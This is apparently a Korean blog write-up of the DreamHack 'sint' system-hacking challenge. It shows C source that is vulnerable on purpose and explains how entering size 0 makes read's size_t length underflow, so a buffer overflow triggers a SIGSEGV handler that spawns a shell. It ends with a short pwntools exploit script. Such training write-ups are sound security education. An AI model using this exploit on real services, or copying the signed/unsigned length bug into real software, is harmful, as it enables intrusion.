본문 바로가기

DreamHack: System Hacking/F Stage 13

sint

Logical Bug: Type Error와 관련된 내용은

https://dreamhack.io/lecture/courses/118

 

Logical Bug: Type Error

타입을 잘못 사용하여 발생할 수 있는 버그를 학습합니다.

dreamhack.io

에 아주 자세히 설명돼있으니 꼭 강의를 수강하길 바란다.

 

 

소스코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

소스 코드 설명:

(1) 사용자에게서 Size를 입력받는다.

(2) 그 후, size-1만큼 Data를 입력받아 buf에 저장한다.

(3) 이때, size>256 or size<0 이면 프로그램이 종료된다.

(4) SIGSEGV(메모리 접근 오류)가 발생하면 get_shell()이 실행되어 shell이 획득된다.

 

 

exploit 설계

위 코드에서 exploit의 핵심은 bof를 일으켜 SIGSEGV가 발생하게 하는 것이다. 그렇다면 bof를 일으키려면 최소한 256보다 큰 값을 size로 줘야할텐데 그렇게 되면

if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

위의 if문에 가로막혀 프로그램이 종료된다...

 

여기서 핵심은

[1] 변수 sizeint형이고, read의 인자로 들어가는 sizesize_t형(부호 없는 4byte or 8byte 정수형)이다.

[2] read함수로 size-1만큼의 데이터를 입력받는다.

이다.

 

이때 변수 size 값으로 0을 주게 되면, read 함수의 세 번째 인자(size_t nbytes)로는 -1이 들어간다.

이때 size_t는 부호없는 정수형이므로, -1이 들어가게 되면 언더플로우(underflow)가 일어나, 값이 엄청나게 큰 값으로 바뀌게 된다. 따라서 read 함수의 세 번째 인자의 값이 엄청나게 커지므로 우리는 bof를 일으킬 수 있게 된다.

 

그리고 bof를 통해 SIGSEGV를 일으키면

signal(SIGSEGV, get_shell);

를 통해 shell이 획득되게 된다.

 

 

exploit(sint.py)

char buf[256]은 ebp-0x100에 위치해있다. 따라서 나는 깔끔하게 'a'*0x108만큼 줘 bof를 일으킨 후 SIGSEGV를 띄워 shell을 획득할 것이다

 

from pwn import *
p = remote('host3.dreamhack.games', 14385)

p.sendlineafter('Size: ', str(0).encode())
p.sendafter('Data: ', b'a'*0x108)

p.interactive()